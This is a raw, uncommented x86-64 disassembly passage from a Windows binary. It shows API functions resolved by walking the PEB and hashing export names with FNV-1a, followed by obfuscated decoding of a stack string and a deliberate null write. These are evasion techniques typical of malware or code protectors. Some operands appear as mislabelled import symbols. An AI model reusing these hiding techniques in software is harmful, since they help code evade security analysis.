movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14021b9f0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14021b8eb
mov qword [0x14044bb38], rdx
jmp 0x14021ba2e
mov r12d, 1
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
test rbx, rbx
jne 0x14021bb9a
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021bab1
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021baa4
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021ba95
cmp edx, esi
jne 0x14021bb7e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021bb7e
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021bb7e
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021bb05
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14021bafa
cmp edx, r14d
je 0x14021bb1b
test r11d, r11d
jne 0x14021bae5
jmp 0x14021bb7e
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14021bb93
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14021bb93
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14021bb5d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14021bb4f
jmp 0x14021bb72
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14021bb65
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021bb90
cmp qword [rbx + 0x30], r13
jne 0x14021ba65
mov rbx, r13
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
test rdx, rdx
jne 0x14021bd0c
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021bc23
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021bc16
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021bc07
cmp edx, esi
jne 0x14021bcf0
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021bcf0
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021bcf0
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021bc77
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14021bc6c
cmp edx, r14d
je 0x14021bc8d
test r11d, r11d
jne 0x14021bc57
jmp 0x14021bcf0
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14021bd05
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14021bd05
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14021bccf
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14021bcc1
jmp 0x14021bce4
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14021bcd7
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021bd02
cmp qword [rbx + 0x30], r13
jne 0x14021bbd7
mov rdx, r13
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
test rdx, rdx
jne 0x14021be75
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021bd8c
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021bd7f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021bd70
cmp edx, esi
jne 0x14021be59
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021be59
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021be59
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021bde0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14021bdd5
cmp edx, r14d
je 0x14021bdf6
test r11d, r11d
jne 0x14021bdc0
jmp 0x14021be59
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14021be6e
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14021be6e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14021be38
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14021be2a
jmp 0x14021be4d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14021be40
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021be6b
cmp qword [rbx + 0x30], r13
jne 0x14021bd40
mov rdx, r13
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
test rdx, rdx
jne 0x14021bfde
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021bef5
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021bee8
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021bed9
cmp edx, esi
jne 0x14021bfc2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021bfc2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021bfc2
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021bf49
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14021bf3e
cmp edx, r14d
je 0x14021bf5f
test r11d, r11d
jne 0x14021bf29
jmp 0x14021bfc2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14021bfd7
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14021bfd7
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14021bfa1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14021bf93
jmp 0x14021bfb6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14021bfa9
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021bfd4
cmp qword [rbx + 0x30], r13
jne 0x14021bea9
mov rdx, r13
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
cmp qword [0x14044bb58], r13
jne 0x14021c146
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021c05b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021c04e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021c03f
cmp edx, esi
jne 0x14021c12a
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14021c12a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14021c12a
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14021c0af
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14021c0a4
cmp edx, r14d
je 0x14021c0c5
test r9d, r9d
jne 0x14021c08f
jmp 0x14021c12a
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14021c13f
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14021c13f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14021c107
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14021c0f9
jmp 0x14021c11d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14021c110
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021c13c
cmp qword [rbx + 0x30], r13
jne 0x14021c00f
mov r9, r13
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x14021c1b7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14021c19f
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14021c183
cmp edx, 0x610c0de3
je 0x14021c208
mov r8, qword [r8]
cmp r8, r10
je 0x14021c1ad
cmp qword [r8 + 0x30], r13
jne 0x14021c169
mov r8, r13
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14021c203
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x14021c1e7
cmp ecx, 0xe463da3c
je 0x14021c20e
add r9d, r12d
jmp 0x14021c1cb
mov r8, qword [r8 + 0x30]
jmp 0x14021c1b0
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
test r10, r10
jne 0x14021c39a
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021c2ae
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021c2a1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021c292
cmp edx, esi
jne 0x14021c37e
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14021c37e
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14021c37e
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021c302
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14021c2f7
cmp edx, r14d
je 0x14021c318
test r10d, r10d
jne 0x14021c2e2
jmp 0x14021c37e
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14021c393
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14021c393
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14021c371
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14021c34d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14021c364
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021c390
cmp qword [rbx + 0x30], r13
jne 0x14021c262
mov r10, r13
mov qword [0x14044bb88], r10
lea r9, [rbp + 0x11c4]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
test r8, r8
jne 0x14021c51a
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021c42e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021c421
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021c412
cmp edx, esi
jne 0x14021c4fe
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021c4fe
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021c4fe
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021c482
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14021c477
cmp edx, r14d
je 0x14021c498
test r11d, r11d
jne 0x14021c462
jmp 0x14021c4fe
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14021c513
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14021c513
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14021c4f1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14021c4cd
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14021c4e4
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021c510
cmp qword [rbx + 0x30], r13
jne 0x14021c3e2
mov r8, r13
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov rbx, qword [0x14044bb40]
test rbx, rbx
jne 0x14021c69c
mov esi, r13d
mov r14d, 0xeac42c07
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14021c5ad
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14021c5a0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14021c591
cmp edx, esi
jne 0x14021c680
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14021c680
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14021c680
mov edi, dword [r10 + 0x20]
mov r12d, 1
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14021c607
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x14021c5fc
cmp edx, r14d
je 0x14021c61d
test r11d, r11d
jne 0x14021c5e7
jmp 0x14021c680
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14021c695
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14021c695
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14021c65f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14021c651
jmp 0x14021c674
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14021c667
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14021c692
cmp qword [rbx + 0x30], r13
jne 0x14021c561
mov rbx, r13
mov qword [0x14044bb40], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call rbx
call fcn.1401e99fc
test al, al
jne 0x1402218ad
mov byte [rbp + 0xf70], 0x9b
mov byte [rbp + 0xf71], 0x59
mov r14d, 0x80
mov byte [rbp + 0xf72], r14b
mov byte [rbp + 0xf73], 0x5b
mov byte [rbp + 0xf74], 0xa0
mov byte [rbp + 0xf75], 0x45
mov byte [rbp + 0xf76], 0xbb
mov byte [rbp + 0xf77], 0x47
mov byte [rbp + 0xf78], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xf79], 0x41
mov byte [rbp + 0xf7a], 0xaf
mov byte [rbp + 0xf7b], 0x43
mov byte [rbp + 0xf7c], 0xde
mov byte [rbp + 0xf7d], Ordinal_79
mov byte [rbp + 0xf7e], 0xdd
mov byte [rbp + 0xf7f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xf80], 0xac
mov byte [rbp + 0xf81], Ordinal_79
mov byte [rbp + 0xf82], 0x86
mov byte [rbp + 0xf83], Ordinal_79
mov byte [rbp + 0xf84], 0x99
mov byte [rbp + 0xf85], 0x75
mov byte [rbp + 0xf86], 0x98
mov byte [rbp + 0xf87], 0x77
mov byte [rbp + 0xf88], __WSAFDIsSet
mov byte [rbp + 0xf89], WSAStartup
mov byte [rbp + 0xf8a], 0xef
mov byte [rbp + 0xf8b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xf8c], 0xe8
mov byte [rbp + 0xf8d], 0x7d
mov byte [rbp + 0xf8e], 0xe2
mov byte [rbp + 0xf8f], 0x7f
mov byte [rbp + 0xf90], 0x9c
mov byte [rbp + 0xf91], 0x79
mov byte [rbp + 0xf92], 0xbb
mov byte [rbp + 0xf93], 0x7b
mov byte [rbp + 0xf94], 0xf4
mov byte [rbp + 0xf95], 0x65
mov byte [rbp + 0xf96], 0xf6
mov byte [rbp + 0xf97], 0x67
mov byte [rbp + 0xf98], 0xac
mov byte [rbp + 0xf99], 0x61
mov byte [rbp + 0xf9a], 0x83
mov byte [rbp + 0xf9b], 0x63
mov byte [rbp + 0xf9c], 0xf0
mov byte [rbp + 0xf9d], WSAStartup
mov byte [rbp + 0xf9e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf9f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xfa0], Ordinal_143
mov byte [rbp + 0xfa1], WSAGetLastError
mov byte [rbp + 0xfa2], 0xa7
mov byte [rbp + 0xfa3], WSAGetLastError
mov byte [rbp + 0xfa4], 0x88
mov byte [rbp + 0xfa5], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xfa6], 0xfe
mov byte [rbp + 0xfa7], reloc.WS2_32.dll_socket
mov byte [rbp + 0xfa8], 0xfd
mov byte [rbp + 0xfa9], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xfaa], r14b
mov byte [rbp + 0xfab], reloc.WS2_32.dll_send
mov byte [rbp + 0xfac], 0xfd
mov byte [rbp + 0xfad], Ordinal_30
mov byte [rbp + 0xfae], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xfaf], Ordinal_33
mov byte [rbp + 0xfb0], 0xfa
mov byte [rbp + 0xfb1], Ordinal_30
mov byte [rbp + 0xfb2], 0xf3
mov byte [rbp + 0xfb3], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xfb4], __WSAFDIsSet
mov byte [rbp + 0xfb5], 5
mov byte [rbp + 0xfb6], 6
mov byte [rbp + 0xfb7], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xfb8], xmm0
mov qword [rbp + 0xfc8], rax
mov dil, byte [rsp + 0x50]
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r9, qword [rax]
mov r15d, Ordinal_41
mov r10, r13
mov r12d, 1
cmp r10, 0x60
jae 0x14021d2ed
movzx r8d, byte [rbp + r10 + 0xf70]
mov edx, r8d
cmp rbx, r10
ja 0x14021d2e4
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x14021c933
movabs r11, 0xe2ff43c1b0c1bb8c
lea rcx, [r10 + r11]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x2c
jmp 0x14021c96a
je 0x14021d262
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14021d213
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14021d1b3
lea rax, [r9 + 3]
cmp rbx, rax
je 0x14021d18d
movabs r11, 0xe2ff43c1b0c1bb8c
cmp r9, r10
ja 0x14021d2db
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x14021c9a0
movabs rdi, 0x9ef08ee37fe4627c
add rdi, r10
mov al, dil
and al, r8b
add al, al
sub dil, al
sub dil, 0x64
add dil, r8b
jmp 0x14021c9d4
lea rax, [r9 + 1]
cmp rbx, rax
je 0x14021d146
lea rax, [r9 + 2]
cmp rbx, rax
je 0x14021d122
lea rax, [r9 + 4]
cmp rbx, rax
je 0x14021d0ff
lea rax, [r9 + 5]
cmp rbx, rax
je 0x14021d0dc
mov esi, Ordinal_30
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x14021cd09
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x14021cce6
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x14021ccd2
lea rax, [r9 + 8]
cmp rbx, rax
je 0x14021ccaf
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x14021cc8c
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x14021cc69
lea rax, [r9 + 9]
cmp rbx, rax
je 0x14021cc42
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x14021d2b8
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x14021d296
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x14021cafe
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x14021cc2b
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x14021cbfc
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x14021c9e6
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x14021cbe8
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x14021cbd7
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x14021cbb4
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x14021cb8d
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x14021cb66
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x14021cb43
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x14021cb20
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x14021c9e6
movabs rcx, 0x4099ca2af930d504
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, sil
jmp 0x14021c9d9
movabs rcx, 0xf784771bff2313e0
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x20
jmp 0x14021d164
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14021d188
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, dl
and al, r8b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021d1ab
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14021d203
movabs rcx, 0x538d4a07b60e4950
add rcx, r10
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14021d0a3
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14021cc51
